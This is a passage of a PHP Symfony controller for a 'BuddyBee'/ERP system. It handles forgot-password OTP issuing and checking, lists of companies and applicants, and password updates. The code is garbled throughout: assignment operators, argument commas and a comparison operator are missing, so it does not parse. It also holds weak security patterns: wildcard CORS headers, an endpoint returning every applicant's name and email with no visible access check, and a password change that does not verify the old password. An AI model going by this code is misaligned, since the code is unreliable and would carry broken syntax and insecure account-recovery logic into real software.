  9085.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9086.                     "userCategory" => $userCategory,
  9087.                     "userId" => $userData['id'],
  9088.                     "systemType" => $systemType,
  9089.                     "email" => $email_address,
  9090.                 );
  9091.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9092.                 $url $this->generateUrl(
  9093.                     'verify_otp'
  9094.                 );
  9095.                 return $this->redirect($url "/" $encDataStr);
  9096. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9097. ////                    'encData'
  9098. ////                'id' => $isApplicantExist->getApplicantId(),
  9099. ////                'oAuthData' => $oAuthData,
  9100. ////                'refRoute' => $refRoute,
  9101. //                ]);
  9102.             }
  9103.         }
  9104.         if ($systemType == '_ERP_') {
  9105.             if ($userCategory == '_APPLICANT_') {
  9106.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9107.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9108.                 $twigData = [
  9109.                     'page_title' => 'Find Account',
  9110.                     'encryptedData' => $encryptedData,
  9111.                     'message' => $message,
  9112.                     'systemType' => $systemType,
  9113.                     'ownServerId' => $ownServerId,
  9114.                     'userType' => $userType,
  9115.                     'errorField' => $errorField,
  9116.                 ];
  9117.             } else {
  9118.                 $userType UserConstants::USER_TYPE_GENERAL;
  9119.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9120.                 $twigData = [
  9121.                     'page_title' => 'Find Account',
  9122.                     'encryptedData' => $encryptedData,
  9123.                     'systemType' => $systemType,
  9124.                     'ownServerId' => $ownServerId,
  9125.                     'message' => $message,
  9126.                     'userType' => $userType,
  9127.                     'errorField' => $errorField,
  9128.                 ];
  9129.             }
  9130.         } else if ($systemType == '_CENTRAL_') {
  9131.             $userType UserConstants::USER_TYPE_APPLICANT;
  9132.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9133.             $twigData = [
  9134.                 'page_title' => 'Find Account',
  9135.                 'encryptedData' => $encryptedData,
  9136.                 'systemType' => $systemType,
  9137.                 'ownServerId' => $ownServerId,
  9138.                 "otp" => '',
  9139. //                "otp"=>$otp,
  9140.                 "otpExpireTs" => $otpExpireTs,
  9141.                 'message' => $message,
  9142.                 'userType' => $userType,
  9143.                 'errorField' => $errorField,
  9144.             ];
  9145.         } else if ($systemType == '_BUDDYBEE_') {
  9146.             $userType UserConstants::USER_TYPE_APPLICANT;
  9147.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9148.             $twigData = [
  9149.                 'page_title' => 'Find Account',
  9150.                 'encryptedData' => $encryptedData,
  9151.                 "otp" => '',
  9152.                 'systemType' => $systemType,
  9153.                 'ownServerId' => $ownServerId,
  9154. //                "otp"=>$otp,
  9155.                 "otpExpireTs" => $otpExpireTs,
  9156.                 'message' => $message,
  9157.                 'userType' => $userType,
  9158.                 'errorField' => $errorField,
  9159.             ];
  9160.         }
  9161.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9162.             $response = new JsonResponse(array(
  9163.                     'templateData' => $twigData,
  9164.                     'message' => $message,
  9165.                     "otp" => '',
  9166. //                "otp"=>$otp,
  9167.                     "otpExpireTs" => $otpExpireTs,
  9168.                     'actionData' => $email_twig_data,
  9169.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9170.                 )
  9171.             );
  9172.             $response->headers->set('Access-Control-Allow-Origin''*');
  9173.             return $response;
  9174.         } else {
  9175.             return $this->render(
  9176.                 $twig_file,
  9177.                 $twigData
  9178.             );
  9179.         }
  9180.     }
  9181.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9182.     {
  9183. //        $userCategory=$request->request->has('userCategory');
  9184.         $encryptedData = [];
  9185.         $errorField '';
  9186.         $message '';
  9187.         $userType '';
  9188.         $otpExpireSecond 180;
  9189.         $otpExpireTs 0;
  9190.         if ($encData != '')
  9191.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9192. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9193.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9194.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9195.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9196.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9197.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9198.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9199.         $em $this->getDoctrine()->getManager('company_group');
  9200.         $em_goc $this->getDoctrine()->getManager('company_group');
  9201.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9202.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9203.         $twigData = [];
  9204.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9205.         $email_twig_data = [];
  9206.         $userData = [];
  9207.         if ($request->isMethod('POST') || $otp != '') {
  9208.             $otp $request->request->get('otp'$otp);
  9209.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9210.             $userId $request->request->get('userId'$userId);
  9211.             $userCategory $request->request->get('userCategory'$userCategory);
  9212.             $email_address $request->request->get('email'$email);
  9213.             if ($systemType == '_ERP_') {
  9214.                 if ($userCategory == '_APPLICANT_') {
  9215.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9216.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9217.                         array(
  9218.                             'email' => $email_address
  9219.                         )
  9220.                     );
  9221.                     if ($userObj) {
  9222.                     } else {
  9223.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9224.                             array(
  9225.                                 'oAuthEmail' => $email_address
  9226.                             )
  9227.                         );
  9228.                         if ($userObj) {
  9229.                         } else {
  9230.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9231.                                 array(
  9232.                                     'userName' => $email_address
  9233.                                 )
  9234.                             );
  9235.                         }
  9236.                     }
  9237.                     if ($userObj) {
  9238.                         $email_address $userObj->getEmail();
  9239.                         if ($email_address == null || $email_address == '')
  9240.                             $email_address $userObj->getOAuthEmail();
  9241.                     }
  9242. //                    triggerResetPassword:
  9243. //                    type: integer
  9244. //                          nullable: true
  9245.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9246.                     $userObj->setOtp($otpData['otp']);
  9247.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9248.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9249.                     $em_goc->flush();
  9250.                     $userData = array(
  9251.                         'id' => $userObj->getApplicantId(),
  9252.                         'email' => $email_address,
  9253.                         'appId' => 0,
  9254. //                        'appId'=>$userObj->getUserAppId(),
  9255.                     );
  9256.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9257.                     $email_twig_data = [
  9258.                         'page_title' => 'Find Account',
  9259.                         'encryptedData' => $encryptedData,
  9260.                         'message' => $message,
  9261.                         'userType' => $userType,
  9262.                         'errorField' => $errorField,
  9263.                         'otp' => $otpData['otp'],
  9264.                         'otpExpireSecond' => $otpExpireSecond,
  9265.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9266.                         'otpExpireTs' => $otpData['expireTs'],
  9267.                         'systemType' => $systemType,
  9268.                         'userData' => $userData
  9269.                     ];
  9270.                     if ($userObj)
  9271.                         $email_twig_data['success'] = true;
  9272.                 } else {
  9273.                     $userType UserConstants::USER_TYPE_GENERAL;
  9274.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9275.                     $email_twig_data = [
  9276.                         'page_title' => 'Find Account',
  9277.                         'encryptedData' => $encryptedData,
  9278.                         'message' => $message,
  9279.                         'userType' => $userType,
  9280.                         'errorField' => $errorField,
  9281.                     ];
  9282.                 }
  9283.             } else if ($systemType == '_BUDDYBEE_') {
  9284.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9285.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9286.                     array(
  9287.                         'applicantId' => $userId
  9288.                     )
  9289.                 );
  9290.                 if ($userObj) {
  9291.                     $userOtp $userObj->getOtp();
  9292.                     $userOtpActionId $userObj->getOtpActionId();
  9293.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9294.                     $otpExpireTs $userObj->getOtpExpireTs();
  9295.                     $currentTime = new \DateTime();
  9296.                     $currentTimeTs $currentTime->format('U');
  9297.                     if ($userOtp != $otp) {
  9298.                         $message "Invalid OTP!";
  9299.                         $email_twig_data['success'] = false;
  9300.                     } else if ($userOtpActionId != $otpActionId) {
  9301.                         $message "Invalid OTP Action!";
  9302.                         $email_twig_data['success'] = false;
  9303.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9304.                         $message "OTP Expired!";
  9305.                         $email_twig_data['success'] = false;
  9306.                     } else {
  9307.                         $userObj->setOtp(0);
  9308.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9309.                         $userObj->setOtpExpireTs(0);
  9310.                         $userObj->setTriggerResetPassword(1);
  9311.                         $em_goc->flush();
  9312.                         $email_twig_data['success'] = true;
  9313.                         $message "";
  9314.                     }
  9315.                     $userData = array(
  9316.                         'id' => $userObj->getApplicantId(),
  9317.                         'email' => $email_address,
  9318.                         'appId' => 0,
  9319.                         'image' => $userObj->getImage(),
  9320.                         'firstName' => $userObj->getFirstname(),
  9321.                         'lastName' => $userObj->getLastname(),
  9322. //                        'appId'=>$userObj->getUserAppId(),
  9323.                     );
  9324.                     $email_twig_data['userData'] = $userData;
  9325.                 } else {
  9326.                     $message "Account not found!";
  9327.                     $email_twig_data['success'] = false;
  9328.                 }
  9329.             }
  9330.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9331.                 $response = new JsonResponse(array(
  9332.                         'templateData' => $twigData,
  9333.                         'message' => $message,
  9334.                         'actionData' => $email_twig_data,
  9335.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9336.                     )
  9337.                 );
  9338.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9339.                 return $response;
  9340.             } else if ($email_twig_data['success'] == true) {
  9341.                 $encData = array(
  9342.                     "userType" => $userType,
  9343.                     "otp" => '',
  9344.                     "otpExpireTs" => $otpExpireTs,
  9345.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9346.                     "userCategory" => $userCategory,
  9347.                     "userId" => $userData['id'],
  9348.                     "systemType" => $systemType,
  9349.                 );
  9350.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9351.                 $url $this->generateUrl(
  9352.                     'reset_password_new_password'
  9353.                 );
  9354.                 return $this->redirect($url "/" $encDataStr);
  9355. //                return $this->redirectToRoute("reset_password_new_password", [
  9356. ////                'id' => $isApplicantExist->getApplicantId(),
  9357. ////                'oAuthData' => $oAuthData,
  9358. ////                'refRoute' => $refRoute,
  9359. //                ]);
  9360.             }
  9361.         }
  9362.         if ($systemType == '_ERP_') {
  9363.             if ($userCategory == '_APPLICANT_') {
  9364.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9365.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9366.                 $twigData = [
  9367.                     'page_title' => 'Find Account',
  9368.                     'encryptedData' => $encryptedData,
  9369.                     'message' => $message,
  9370.                     'userType' => $userType,
  9371.                     'errorField' => $errorField,
  9372.                 ];
  9373.             } else {
  9374.                 $userType UserConstants::USER_TYPE_GENERAL;
  9375.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9376.                 $twigData = [
  9377.                     'page_title' => 'Find Account',
  9378.                     'encryptedData' => $encryptedData,
  9379.                     'message' => $message,
  9380.                     'userType' => $userType,
  9381.                     'errorField' => $errorField,
  9382.                 ];
  9383.             }
  9384.         } else if ($systemType == '_BUDDYBEE_') {
  9385.             $userType UserConstants::USER_TYPE_APPLICANT;
  9386.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9387.             $twigData = [
  9388.                 'page_title' => 'Verify Otp',
  9389.                 'encryptedData' => $encryptedData,
  9390.                 'message' => $message,
  9391.                 'email' => $email,
  9392.                 "otp" => '',
  9393. //                "otp"=>$otp,
  9394.                 "otpExpireTs" => $otpExpireTs,
  9395.                 'userType' => $userType,
  9396.                 'userCategory' => $userCategory,
  9397.                 'errorField' => $errorField,
  9398.             ];
  9399.         }
  9400.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9401.             $response = new JsonResponse(array(
  9402.                     'templateData' => $twigData,
  9403.                     'message' => $message,
  9404.                     'actionData' => $email_twig_data,
  9405.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9406.                 )
  9407.             );
  9408.             $response->headers->set('Access-Control-Allow-Origin''*');
  9409.             return $response;
  9410.         } else {
  9411.             return $this->render(
  9412.                 $twig_file,
  9413.                 $twigData
  9414.             );
  9415.         }
  9416.     }
  9417. //    public function getCompanyByUser(Request $request){
  9418. //        $em = $this->getDoctrine()->getManager();
  9419. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9420. //        $session = $request->getSession();
  9421. //        $userId = $session->get(UserConstants::USER_ID);
  9422. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9423. //            ->select('U.userAppIdList')
  9424. //            ->where('U.userId = :userId')
  9425. //            ->setParameter('userId', $userId)
  9426. //            ->getQuery()
  9427. //            ->getResult();
  9428. //
  9429. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9430. //            ->select('C.name','C.appId')
  9431. //            ->getQuery()
  9432. //            ->getResult();
  9433. //
  9434. //        return new JsonResponse(
  9435. //            [
  9436. //                'applicantCompnayId' => $applicantDetails,
  9437. //                'copanyData' => $compnayDetails
  9438. //            ]
  9439. //        );
  9440.     public function getCompanyByUser(Request $request)
  9441.     {
  9442.         $em_goc $this->getDoctrine()->getManager('company_group');
  9443.         $em_goc->getConnection()->connect();
  9444.         $session $request->getSession();
  9445.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9446.         $userAppIdList json_decode($appIdstrue);
  9447.         if (!is_array($userAppIdList)) {
  9448.             return new JsonResponse([]);
  9449.         }
  9450.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9451.             ->createQueryBuilder('C')
  9452.             ->select('C.name, C.appId')
  9453.             ->where('C.appId IN (:appIds)')
  9454.             ->setParameter('appIds'$userAppIdList)
  9455.             ->getQuery()
  9456.             ->getResult();
  9457.         return new JsonResponse($companyData);
  9458.     }
  9459.     public function applicantList(Request $request)
  9460.     {
  9461.         $em_goc $this->getDoctrine()->getManager('company_group');
  9462.         $em_goc->getConnection()->connect();
  9463.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9464.             ->createQueryBuilder('C')
  9465.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9466.             ->getQuery()
  9467.             ->getResult();
  9468.         return new JsonResponse($applicantList);
  9469.     }
  9470.     public function getUserType()
  9471.     {
  9472.         $userType HumanResourceConstant::$userTypeForApp;
  9473.         return new JsonResponse($userType);
  9474.     }
  9475.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9476.     {
  9477.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9478.             return $accessList;
  9479.         }
  9480.         try {
  9481.             $customerAccessList $this->get('app.organization_identity_service')
  9482.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9483.         } catch (\Throwable $e) {
  9484.             return $accessList;
  9485.         }
  9486.         if (empty($customerAccessList)) {
  9487.             return $accessList;
  9488.         }
  9489.         $detailedClientApps = [];
  9490.         foreach ($customerAccessList as $item) {
  9491.             if (isset($item['appId'])) {
  9492.                 $detailedClientApps[(int)$item['appId']] = true;
  9493.             }
  9494.         }
  9495.         $filtered = [];
  9496.         foreach ($accessList as $item) {
  9497.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9498.                 && empty($item['erpClientId'])
  9499.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9500.             if (!$isGenericClient) {
  9501.                 $filtered[] = $item;
  9502.             }
  9503.         }
  9504.         return array_merge($filtered$customerAccessList);
  9505.     }
  9506.     public function updatepasswordAction(Request $request)
  9507.     {
  9508.         $em_goc $this->getDoctrine()->getManager('company_group');
  9509.         $session $request->getSession();
  9510.         $userId $session->get(UserConstants::USER_ID);
  9511.         if ($request->isMethod('POST')) {
  9512.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9513.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9514.             $user->setPassword($encodedPassword);
  9515.             $em_goc->persist($user);
  9516.             $em_goc->flush();
  9517.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9518.         }
  9519.     }
  9520. }